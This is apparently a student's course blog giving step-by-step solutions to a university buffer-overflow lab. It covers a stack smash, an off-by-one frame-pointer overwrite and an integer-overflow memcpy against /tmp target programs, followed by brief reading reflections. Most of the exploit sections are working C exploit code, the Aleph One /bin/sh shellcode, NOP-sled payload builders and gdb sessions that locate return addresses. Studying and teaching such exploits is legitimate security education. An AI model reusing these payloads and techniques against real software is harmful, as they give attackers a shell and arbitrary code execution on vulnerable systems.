    } else if(i < 504) {
      *(buf + i) = shellcode[i - 504 + strlen(shellcode)]; // <shellcode>
    } else if(i < 508) {
      *(buf + i) = chnk_l >> ((i - 504) * 8); // <left>
    } else if(i < 512) {
      *(buf + i) = chnk_r >> ((i - 508) * 8); // <right>
    } else if(i < 1023) {
      *(buf + i) = '\x90'; // <filler>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (14)

on Target 3…

Suggested readings :
Basic Integer Overflows
On Target 1

Examining /tmp/target3 in Detail

code of executable /tmp/target3 (target3.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct widget_t {
  double x;
  double y;
  int count;
};

#define MAX_WIDGETS 1000

int foo(char *in, int count)
{
  struct widget_t buf[MAX_WIDGETS];

  if (count < MAX_WIDGETS)
    memcpy(buf, in, count * sizeof(struct widget_t));

  return 0;
}

int main(int argc, char *argv[])
{
  int count;
  char *in;

  if (argc != 2)
    {
      fprintf(stderr, "target3: argc != 2\n");
      exit(EXIT_FAILURE);
    }

  /*
   * format of argv[1] is as follows:
   *
   * - a count, encoded as a decimal number in ASCII
   * - a comma (",")
   * - the remainder of the data, treated as an array
   *   of struct widget_t
   */

  count = (int)strtoul(argv[1], &in, 10);
  if (*in != ',')
    {
      fprintf(stderr, "target3: argument format is [count],[data]\n");
      exit(EXIT_FAILURE);
    }
  in++;                         /* advance one byte, past the comma */
  foo(in, count);

  return 0;
}

On close inspection, maximum size of buf is 20000 bytes. The struct widget_t has size of 20 (two 8-byte double x & y and a 4-byte int count, see lines 5 to 9 above).  We have defined 1000 of it (widget_t, see lines 11 and 15 above), so allowable size (of buf) is equal to 20 x 1000 (= 20000) bytes. To overflow buf, our input data should be longer than it (> 20000). We should also consider the format of the actual input which is <count>,<data> where count is the number of widget_t and data is the input data string as we used to like in the previous exploits. An example of correctly running the program (target3) on the environment shell is /tmp/target3 1,aaaaaaaaaaaaaaaaaaaa. A sample program below can be used to exploit the program above.

To exploit the program, the idea is assign a negative number within the range of int to count which will still satistify , count < MAX_WIDGETS, on line 17 above, and when multiplied by sizeof(struct widget_t), i.e. 20 (see line 18 above), the number will be too much negative that it (negative number) will out-range int. Too negative numbers will wrap around int and will be positive, so memcpy(buf, in, count * sizeof(struct widget_t)) on line 18 above, in a way can cause in to overflow buf.

modified code of executable ./sploit3 (sploit3.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target3"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[20005];
  char *count;
  int i;
  int addr;

  count = "999";
  for(i = 0; i < 20005; i++) {
    if(i < strlen(count)) {
      *(buf + i) = count[i];
    } else if(i < (strlen(count) + 1)) {
      *(buf + i) = ',';
    } else if(i < (20000 + strlen(count) + 1)) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Like in sploit1, use gdb to examine foo‘s frame. Examine also the appropriate negative value for count with set and call command.

user@box:~/pp1/sploits$ gdb -e sploit3 -s /tmp/target3
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit3
Executing new program: /proc/2979/exe
/proc/2979/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804846d: file target3.c, line 17.
(gdb) continue
Continuing.
[New process 2979]
[Switching to process 2979]

Breakpoint 2, foo (in=0xbfffb1ce 'a' <repeats 200 times>..., count=999) at target3.c:17
17	target3.c: No such file or directory.
	in target3.c
(gdb) info frame
Stack level 0, frame at 0xbfffb040:
 eip = 0x804846d in foo (target3.c:17); saved eip 0x804856b
 called by frame at 0xbfffb070
 source language c.
 Arglist at 0xbfffb038, args: in=0xbfffb1ce 'a' <repeats 200 times>..., count=999
 Locals at 0xbfffb038, Previous frame's sp is 0xbfffb040
 Saved registers:
  ebp at 0xbfffb038, eip at 0xbfffb03c
(gdb) x buf
0xbfff6218:	0x00000000
(gdb) x 0xbfffb038
0xbfffb038:	0xbfffb068
(gdb) x 0xbfffb03c
0xbfffb03c:	0x0804856b
(gdb) x 0xbfffb040
0xbfffb040:	0xbfffb1ce
(gdb) x 0xbfffb044
0xbfffb044:	0x000003e7
(gdb) call count * sizeof(struct widget_t)
$1 = 19980
(gdb) set count = -1
(gdb) call count * sizeof(struct widget_t)
$2 = -20
(gdb) set count = -2147482647
(gdb) call count * sizeof(struct widget_t)
$3 = 20020

Results of gdb show that -2147482647 for count is enough to overflow buf (buf[20000]). Also we can visualize foo‘s frame as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][       -params-        ]
[bfff62--              ][bfffb0--   ][bfffb0--   ][bfffb0--               ]  -> first 3 bytes of addresses
[18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47]  -> last bytes of addresses
[00|00|00|00|...    ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00]  -> data
|-----20000 bytes------|

Using overflow method in sploit1 (you can also use sploit2 method), our buffer overflow can be like this :

[     -local_var-      ][   -ebp-   ][   -eip-   ][       -params-        ]
[bfff62--              ][bfffb0--   ][bfffb0--   ][bfffb0--               ]  -> first 3 bytes of addresses
[18|19|1a|1b|... ...|37][38|39|3a|3b][3c|3d|3e|3f][40|41|42|43|44|45|46|47]  -> last bytes of addresses
[00|00|00|00|...    ...][68|b0|ff|bf][6b|85|04|08][ce|b1|ff|bf|e7|03|00|00]  -> data

[<nop>...   <shellcode>][<filler>...][18|62|ff|bf][00|00|00|00|00|00|00|00][00|00|00|00|  -> buffer overflow
|-----------------------------------20020 bytes----------------------------------------|

to implement, below is a sample edit of the for loop in sploit3.c :

  addr = 0xbfff6218;
  count = "-2147482647";
  for(i = 0; i < 20032; i++) {
    if(i < strlen(count)) {
      *(buf + i) = count[i]; // <count>
    } else if(i < (strlen(count) + 1)) {
      *(buf + i) = ','; // <comma>
    } else if(i < (20000 + strlen(count) + 1 - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < (20000 + strlen(count) + 1)) {
      *(buf + i) = shellcode[i - 20000 - strlen(count) - 1 + strlen(shellcode)]; // <shellcode>
    } else if(i < (20004 + strlen(count) + 1)) {
      *(buf + i) = '\x90'; // <filler>
    } else if(i < (20008 + strlen(count) + 1)) {
       *(buf + i) = addr >> ((i - 20000 - strlen(count) - 1) * 8); // <eip>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (3)

on Target 2…

Suggested readings :
The Frame Pointer Overwrite
On Target 1

Examining /tmp/target2 in Detail

code of executable /tmp/target2 (target2.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void nstrcpy(char *out, int outl, char *in)
{
  int i, len;

  len = strlen(in);
  if (len > outl)
    len = outl;

  for (i = 0; i <= len; i++)
    out[i] = in[i];
}

void bar(char *arg)
{
  char buf[200];

  nstrcpy(buf, sizeof buf, arg);
}

void foo(char *argv[])
{
  bar(argv[1]);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target2: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}

You may think that the code above is not exploitable since strncpy function checks the length of arg (in in strncpy) in bar and the function (strncpy) sees to it that in‘s length does not exceed out‘s length (see lines 9 to 11). Thus, copying hopes not to exceed buf‘s (buf[200]) length (buf is out in strncpy function). The bug in the code is on this statement, i <= len on line 13, of the for loop. It should be just, i < len, or copying will be off by one byte should in‘s length is greater than out‘s. Constructing an exploit program (like code below) should consider an input buffer of length at least 202 (200 plus two bytes, a one-off byte and a null byte to terminate the buffer). The one-off byte is also known as the altering byte.

modified code of executable ./sploit2 (sploit2.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target2"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[202];
  int i;
  int addr;

  for(i = 0; i < 202; i++) {
    if(i < 201) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00';
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Like in sploit1, use gdb to examine bar‘s frame.

user@box:~/pp1/sploits$ gdb -e sploit2 -s /tmp/target2
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit2
Executing new program: /proc/2729/exe
/proc/2729/exe: Permission denied.
(gdb) break bar
Breakpoint 2 at 0x8048489: file target2.c, line 21.
(gdb) continue
Continuing.
[New process 2729]
[Switching to process 2729]

Breakpoint 2, bar (arg=0xbfffff25 'a' <repeats 200 times>...) at target2.c:21
21	target2.c: No such file or directory.
	in target2.c
(gdb) info frame
Stack level 0, frame at 0xbffffda0:
 eip = 0x8048489 in bar (target2.c:21); saved eip 0x80484be
 called by frame at 0xbffffdb0
 source language c.
 Arglist at 0xbffffd98, args: arg=0xbfffff25 'a' <repeats 200 times>...
 Locals at 0xbffffd98, Previous frame's sp is 0xbffffda0
 Saved registers:
  ebp at 0xbffffd98, eip at 0xbffffd9c
(gdb) x buf
0xbffffcd0:	0xb7fe2b38
(gdb) x 0xbffffd98
0xbffffd98:	0xbffffda8
(gdb) x 0xbffffd9c
0xbffffd9c:	0x080484be
(gdb) x 0xbffffda0
0xbffffda0:	0xbfffff25

With the above results from gdb, we can visualize bar‘s frame as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--              ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|...    ...][a8|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data
|------200 bytes-------|

We can only overwrite bar‘s ebp by one byte (last byte a8 above). So, effectively we can change its value on ranges 0xbffffd** (**, the altering byte ranges from 00 to FF). Narrowing the range to something we’re in control, i.e. considering buf‘s address range from 0xbffffcd0 to 0xbffffd97, the altering byte ** (of 0xbffffd**) will only range from 00 to 97. Our goal is to point bar‘s ebp anywhere in the buf‘s range and fool the program that it is a valid previous (foo‘s) frame, with the 1st 4 bytes as its (foo‘s)  ebp and next 4 bytes as its (foo‘s) eip. A sample visualization would be :

[               -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--                                   ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|90|91|92|93|94|95|96|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|... ...|xx|xx|xx|xx|d0|fc|ff|bf][90|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data

		            [   -ebp-   |   -eip-   ][ -params-  ]                            -> fake previous frame

In bar‘s frame, ebp‘s new address is 0xbffffd90 with altering byte ‘\x90’. In buf‘s address space, addresses 0xbffffd90 to 0xbffffd93 will be the ebp of the new previous (foo’s) frame and addresses 0xbffffd94 to 0xbffffd97 will be the its (previous frame’s) eip. Like in sploit1, we will use this new (fake) previous (foo‘s) frame eip to control the flow of the program by pointing it to the address of buf, i.e. address 0xbffffcd0.

So finally or buffer overflow should look like this :

[               -local_var-                 ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffc--                                   ][bffffd--   ][bffffd--   ][bffffd--   ]  -> first 3 bytes of addresses
[d0|d1|d2|d3|... ...|90|91|92|93|94|95|96|97][98|99|9a|9b][9c|9d|9e|9f][a0|a1|a2|a3]  -> last bytes of addresses
[38|2b|fe|b7|... ...|xx|xx|xx|xx|d0|fc|ff|bf][a8|fd|ff|bf][be|84|04|08][25|ff|ff|bf]  -> data

[<nop>...                   <shellcode><eip>][ab|00]                                  -> buffer overflow, where ab - altering byte
|--------------------202 bytes---------------------|

to implement, below is a sample edit of the for loop in sploit2.c :

  addr = 0xbffffcd0;
  for(i = 0; i < 202; i++) {
    if(i < (196 - strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < 196) {
      *(buf + i) = shellcode[i - 196 + strlen(shellcode)]; // <shellcode>
    } else if(i < 200) {
      *(buf + i) = addr >> ((i - 196) * 8); // <eip>
    } else if(i < 201) {
      *(buf + i) = '\x90'; // <altering byte>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }
posted by ninoy in Hack 101 and have Comments (7)

on Target 1…

Suggested readings :
Smashing The Stack For Fun And Profit
RMS’s gdb Tutorial

We will try to explain most of the concepts in this part (Target 1) and should serve as reference for other parts (Targets 2 to 5). We hope that understanding this part thoroughly will make (solving) other parts easier. We also assume that you have read the suggested readings above.

Examining /tmp/target1 in Detail

code of executable /tmp/target1 (target1.c) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int bar(char *arg, char *out)
{
  strcpy(out, arg);
  return 0;
}

int foo(char *argv[])
{
  char buf[256];
  bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv);
  return 0;
}

The code above is exploitable since there’s no check as to the length of argv[1] (arg in bar function) in foo function and may be longer than buf[256]. To overflow it, argv[1]‘s length must be greater than 256. The code below is a sample program that can exploit the code above. The program (./sploit1) calls the executable (/tmp/target1) above with an argument (aaaa) as data to argv[1], i.e. ./sploit1 executes /tmp/target1 aaaa in the environment shell using execve function.

modified code of executable ./sploit1 (shellcode.h and sploit1.c respectively) :

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
#include
#include
#include
#include
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[265];
  int i;

  // this loop will modify contents of buf
  for(i = 0; i < 5; i++) {
    if(i < 4) {
      *(buf + i) = 'a';
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;   env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

For now, we will use aaaa as data to examine /tmp/target1 memory-wise. Use gdb to execute sploit1 and to use symbol file of target1 with command, gdb -e sploit1 -s /tmp/target1 (this is sort of indirectly executing command /tmp/target1 aaaa on the shell through sploit1). Don’t forget to catch exec before running the program with run command.

user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit1
Executing new program: /proc/2824/exe
/proc/2824/exe: Permission denied.

Set breaks at functions main, foo, and bar.

(gdb) break main
Breakpoint 1 at 0x804848c: file target1.c, line 19.
(gdb) break foo
Breakpoint 2 at 0x804845c: file target1.c, line 14.
(gdb) break bar
Breakpoint 3 at 0x804843a: file target1.c, line 7.

Continue running the program with continue command and the program should stop at main (since we set a break at main). We can inspect main‘s frame with info frame command.

(gdb) continue
Continuing.
[New process 2824]
[Switching to process 2824]

Breakpoint 2, main (argc=2, argv=0xbfffff24) at target1.c:19
19	target1.c: No such file or directory.
	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffe90:
 eip = 0x804848c in main (target1.c:19); saved eip 0xb7e98455
 source language c.
 Arglist at 0xbffffe88, args: argc=2, argv=0xbfffff24
 Locals at 0xbffffe88, Previous frame's sp at 0xbffffe84
 Saved registers:
  ebp at 0xbffffe88, eip at 0xbffffe8c

Continue running the program and examine foo‘s frame.

(gdb) continue
Continuing.

Breakpoint 3, foo (argv=0xbfffff24) at target1.c:14
14	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffe70:
 eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3
 called by frame at 0xbffffe90
 source language c.
 Arglist at 0xbffffe68, args: argv=0xbfffff24
 Locals at 0xbffffe68, Previous frame's sp is 0xbffffe70
 Saved registers:
  ebp at 0xbffffe68, eip at 0xbffffe6c

Let’s also examine variables and parameters of foo‘s frame with x command.

(gdb) x buf
0xbffffd68:	0x07b1ea71
(gdb) x 0xbffffe68
0xbffffe68:	0xbffffe88
(gdb) x 0xbffffe6c
0xbffffe6c:	0x080484d3
(gdb) x 0xbffffe70
0xbffffe70:	0xbfffff24

Results of gdb tell us that foo‘s frame can be visualize as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffd--              ][bffffe--   ][bffffe--   ][bffffe--   ]  -> first 3 bytes of addresses
[68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73]  -> last bytes of addresses
[71|ea|b1|07|...    ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf]  -> data
|------256 bytes-------||--4 bytes--||--4 bytes--||--4 bytes--|

Local variable buf starts at address 0xbffffd68. Counting 256 bytes (buf[256]) after will be ebp (sfp) at address 0xbffffe68. 4 bytes after at 0xbffffe6c will be eip (ret). And parameter *argv[] (pointer to argv which is in 0xbfffff24) will be at 0xbffffe70. From here we confirmed c‘s stack frame layout.

Continue running the program and examine bar‘s frame.

(gdb) continue
Continuing.

Breakpoint 4, bar (arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003") at target1.c:7
7	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffd50:
 eip = 0x804843a in bar (target1.c:7); saved eip 0x8048476
 called by frame at 0xbffffe70
 source language c.
 Arglist at 0xbffffd48, args: arg=0xbfffffea "aaaa", out=0xbffffd68 "q��\a\003"
 Locals at 0xbffffd48, Previous frame's sp is 0xbffffd50
 Saved registers:
  ebp at 0xbffffd48, eip at 0xbffffd4c
(gdb) x 0xbffffd48
0xbffffd48:	0xbffffe68
(gdb) x 0xbffffd4c
0xbffffd4c:	0x08048476
(gdb) x 0xbffffd50
0xbffffd50:	0xbfffffea
(gdb) x 0xbffffd54
0xbffffd54:	0xbffffd68

We can visualize bar‘s frame as :

[   -ebp-   ][   -eip-   ][       -params-        ]
[bffffd--   ][bffffd--   ][bffffd--               ]  -> first 3 bytes of addresses
[48|49|4a|4b][4c|4d|4e|4f][50|51|52|53|54|55|56|57]  -> last bytes of addresses
[68|fe|ff|bf][76|84|04|08][ea|ff|ff|bf|68|fd|ff|bf]  -> data

Note that bar‘s frame has no local variables and we can confirm that with its (target1.c) code. We also confirmed that stack frames grow leftwards, i.e. they grow towards lower address space. Results of gdb tell us that address space of bar‘s frame (starts at 0xbffffd48) is lower than that of foo’s (starts at 0xbffffd68) and main’s frame (starts at 0xbffffe88), knowing that main function calls foo function which in turn calls bar function.

EBP(SFP – Stack Frame Pointer) and EIP(RET) Workings

From the previous section, ebp in bar‘s frame is at 0xbffffd48 which points to address oxbffffe68. Examining foo‘s frame, that address (0xbffffe68) is actually foo‘s ebp which in turn points to main‘s ebp at 0xbffffe88. From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s frame is stored in its (called function‘s) ebp.

Also, eip in bar‘s frame is at 0xbffffd4c which points to address 0x08048476. Examining  foo‘s assembly below, that address (0x08048476) is actually the address after a call to bar function (see lines 44 and 45 below). This is also true to main calling foo. We can confirm that foo‘s ebp will point to 0x080484d3 (see lines 25 and 26 below). From here, we confirmed that in the called function‘s frame, pointer to the calling function‘s next instruction is stored in its (called function‘s) eip.

assembly of main, foo, and bar with disassemble command :

(gdb) disassemble main
Dump of assembler code for function main:
0x08048478 <main+0>:	lea    0x4(%esp),%ecx
0x0804847c <main+4>:	and    $0xfffffff0,%esp
0x0804847f <main+7>:	pushl  -0x4(%ecx)
0x08048482 <main+10>:	push   %ebp
0x08048483 <main+11>:	mov    %esp,%ebp
0x08048485 <main+13>:	push   %ecx
0x08048486 <main+14>:	sub    $0x14,%esp
0x08048489 <main+17>:	mov    %ecx,-0x8(%ebp)
0x0804848c <main+20>:	mov    -0x8(%ebp),%eax
0x0804848f <main+23>:	cmpl   $0x2,(%eax)
0x08048492 <main+26>:	je     0x80484c5 <main+77>
0x08048494 <main+28>:	mov    0x80496d8,%eax
0x08048499 <main+33>:	mov    %eax,0xc(%esp)
0x0804849d <main+37>:	movl   $0x13,0x8(%esp)
0x080484a5 <main+45>:	movl   $0x1,0x4(%esp)
0x080484ad <main+53>:	movl   $0x80485b0,(%esp)
0x080484b4 <main+60>:	call   0x8048358 <fwrite@plt>
0x080484b9 <main+65>:	movl   $0x1,(%esp)
0x080484c0 <main+72>:	call   0x8048368 <exit@plt>
0x080484c5 <main+77>:	mov    -0x8(%ebp),%edx
0x080484c8 <main+80>:	mov    0x4(%edx),%eax
0x080484cb <main+83>:	mov    %eax,(%esp)
0x080484ce <main+86>:	call   0x8048453 <foo>
0x080484d3 <main+91>:	mov    $0x0,%eax
0x080484d8 <main+96>:	add    $0x14,%esp
0x080484db <main+99>:	pop    %ecx
0x080484dc <main+100>:	pop    %ebp
0x080484dd <main+101>:	lea    -0x4(%ecx),%esp
0x080484e0 <main+104>:	ret
End of assembler dump.
(gdb) disassemble foo
Dump of assembler code for function foo:
0x08048453 <foo+0>:	push   %ebp
0x08048454 <foo+1>:	mov    %esp,%ebp
0x08048456 <foo+3>:	sub    $0x118,%esp
0x0804845c <foo+9>:	mov    0x8(%ebp),%eax
0x0804845f <foo+12>:	add    $0x4,%eax
0x08048462 <foo+15>:	mov    (%eax),%edx
0x08048464 <foo+17>:	lea    -0x100(%ebp),%eax
0x0804846a <foo+23>:	mov    %eax,0x4(%esp)
0x0804846e <foo+27>:	mov    %edx,(%esp)
0x08048471 <foo+30>:	call   0x8048434 <bar>
0x08048476 <foo+35>:	leave
0x08048477 <foo+36>:	ret
End of assembler dump.
(gdb) disassemble bar
Dump of assembler code for function bar:
0x08048434 <bar+0>:	push   %ebp
0x08048435 <bar+1>:	mov    %esp,%ebp
0x08048437 <bar+3>:	sub    $0x8,%esp
0x0804843a <bar+6>:	mov    0x8(%ebp),%eax
0x0804843d <bar+9>:	mov    %eax,0x4(%esp)
0x08048441 <bar+13>:	mov    0xc(%ebp),%eax
0x08048444 <bar+16>:	mov    %eax,(%esp)
0x08048447 <bar+19>:	call   0x8048348 <strcpy@plt>
0x0804844c <bar+24>:	mov    $0x0,%eax
0x08048451 <bar+29>:	leave
0x08048452 <bar+30>:	ret
End of assembler dump.

Buffer Overflow

To overflow the buffer (buf), our input buffer to /tmp/target1 must be greater than 256. Adding 4 bytes more will overflow foo‘s buf and will overwrite foo‘s ebp in bar‘s strcpy function. Add another 4 bytes more and we will overwrite foo‘s eip. If the buffer will be null(‘\x00’) terminated, we need at least 265 bytes of input to buffer overflow. Our goal is to overwrite foo‘s eip (next instruction pointer) and make it point to the the start of foo‘s buf which is at 0xbffffd68 and which contains the shellcode.

We can visualize the buffer overflow as :

[     -local_var-      ][   -ebp-   ][   -eip-   ][ -params-  ]
[bffffd--              ][bffffe--   ][bffffe--   ][bffffe--   ]  -> first 3 bytes of addresses
[68|69|6a|6b|... ...|67][68|69|6a|6b][6c|6d|6e|6f][70|71|72|73]  -> last bytes of addresses
[71|ea|b1|07|...    ...][88|fe|ff|bf][d3|84|04|08][24|ff|ff|bf]  -> data

[<nop>...   <shellcode>][<filler>...][68|fd|ff|bf][00|        ]  -> buffer overflow
|--------------------265 bytes-----------------------|

Now edit sploit1.c to reflect buffer overflow data above and compile.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[265];
  int i;
  int addr;

  // this loop will modify contents of buf
  addr = 0xbffffd68;
  for(i = 0; i < 265; i++) {
    if(i < (256-strlen(shellcode))) {
      *(buf + i) = '\x90'; // <nop>
    } else if(i < 256) {
      *(buf + i) = shellcode[i - 256 + strlen(shellcode)]; // <shellcode>
    } else if(i < 260) {
      *(buf + i) = '\x90'; // <ebp>
    } else if(i < 264) {
      *(buf + i) = addr >> ((i-260)*8); // <eip>
    } else {
      *(buf + i) = '\x00'; // terminate with null
    }
  }

  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

Running ./sploit1 will still not work, since we added variable addr (line 15 above) which effectively changes main‘s stack frame and theoretically should shift left (to lower address space) both foo‘s and bar‘s stack frame. So, check addresses again and you’ll need to change buf (variable addr) address from 0xbffffd68 to 0xbffffc68.

user@box:~/pp1/sploits$ gdb -e sploit1 -s /tmp/target1
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) catch exec
Catchpoint 1 (exec)
(gdb) run
Starting program: /home/user/pp1/sploits/sploit1
Executing new program: /proc/3065/exe
/proc/3065/exe: Permission denied.
(gdb) break foo
Breakpoint 2 at 0x804845c: file target1.c, line 14.
(gdb) continue
Continuing.
[New process 3065]
[Switching to process 3065]

Breakpoint 2, foo (argv=0xbffffe24) at target1.c:14
14	target1.c: No such file or directory.
	in target1.c
(gdb) info frame
Stack level 0, frame at 0xbffffd70:
 eip = 0x804845c in foo (target1.c:14); saved eip 0x80484d3
 called by frame at 0xbffffd90
 source language c.
 Arglist at 0xbffffd68, args: argv=0xbffffe24
 Locals at 0xbffffd68, Previous frame's sp is 0xbffffd70
 Saved registers:
  ebp at 0xbffffd68, eip at 0xbffffd6c
(gdb) x buf
0xbffffc68:	0x07b1ea71

The code (sploit1.c) should now work.

posted by ninoy in Hack 101 and have Comments (3)

on Project 1 : Buffer Overflow Exploits…

Good day guys, with regard to our project, here’s our (together with Wally) solutions. There may be other ways to solve the problems. Kindly comment if you have different solution(s) for each problem and we (Wally and I) are interested in knowing your own solution(s).

The solutions assume that you very well know C. GDB is a great tool for debugging and we suggest that you read this GDB tutorial.

Target1
Target2
Target3
Target4
Target5

posted by ninoy in Hack 101 and have Comment (1)

…on `Setuid Demystified` and `Understanding Android Security`

I did not appreciate much the topic (setuid) per se. Maybe because in my work, I still did not handle systems involving managing `setuid`’s or maybe I was not aware that I’m using them. But what I appreciate more is the reading suggests through formality (i.e. using a formal model) in understanding more of the `setuid` details. I’m really  a fan of mathematical proofs. For me, something explained and supported with mathematical models and proofs is something irrefutable. Building systems verified with mathematical models are somehow flawless and bug-free.

I’m really glad having read the `Android` topic. The last time I heard of it (Android) was during my undergraduate and it did not get my attention. Knowing what has come to it now (improved community, development, integration, and security),  it is now prioritized more on my `to-study` checklist. If I have extra money, I feel that I really should buy one (gadget with android os). If I have extra time, although not my leaning (mobile development), I will try to spend some time developing on top of it.

posted by ninoy in CS 253 and have Comment (1)

…on `Attacks and Defenses for the Vulnerability of the Decade`

The reading discusses security vulnerabilities involving mainly of some forms of buffer overflow attacks, and some known effective defenses against them (buffer overflows).

I admit that I’m also guilty of not coding the so called `correct` way (sometime). Well like most developer it’s a matter of weighing among functionality, performance, and correctness. Most of the time functionality is the major concern. On a reflection, the reading makes me realize of reconsidering some defenses against buffer overflow attacks although with some performance drawbacks.

I appreciated it more on reading it the second time after doing Project 1.  Well, learning by experiencing (that is doing it first hand), is still the best way to realize the importance of it. Now, I’m motivated to go deeper on other types of buffer overflow attacks since Project 1 only deals with type 1 (first).

On a second thought, although skeptic because of performance concerns, type-safe languages should be prioritized more in picking a base programming language for software development.

posted by ninoy in CS 253 and have No Comments

…on `CRS Report for Congress`

It is a lengthy yet informative reading. The reading reminds me of the `Love Bug` virus years ago. It discusses in detail different examples of crimes that can be committed involving computers and network.

I really feel fortunate that I took my computer science here in UP. I believe that `education` really plays a big role regarding having a sense of responsibility as a programmer. Having taught computer ethics and knowing the consequences for such illegal act of hacking somehow puts me a limit. Although the reading was somehow too negative to `hackers` and I disagree, I consider them (`hackers`) to be nicer ones. They maybe just misguided but not really bad after all. Browse the internet and you’ll find out that authors and contributors to well known open-source softwares are hackers. Frankly as part of the academe, if I found something that detriments learning and impedes flow of information (that in the first place I believe that information should be always be free), I would engage in hacking (if I knew hacking after all) but I’d rather not do if it will hurt someone.

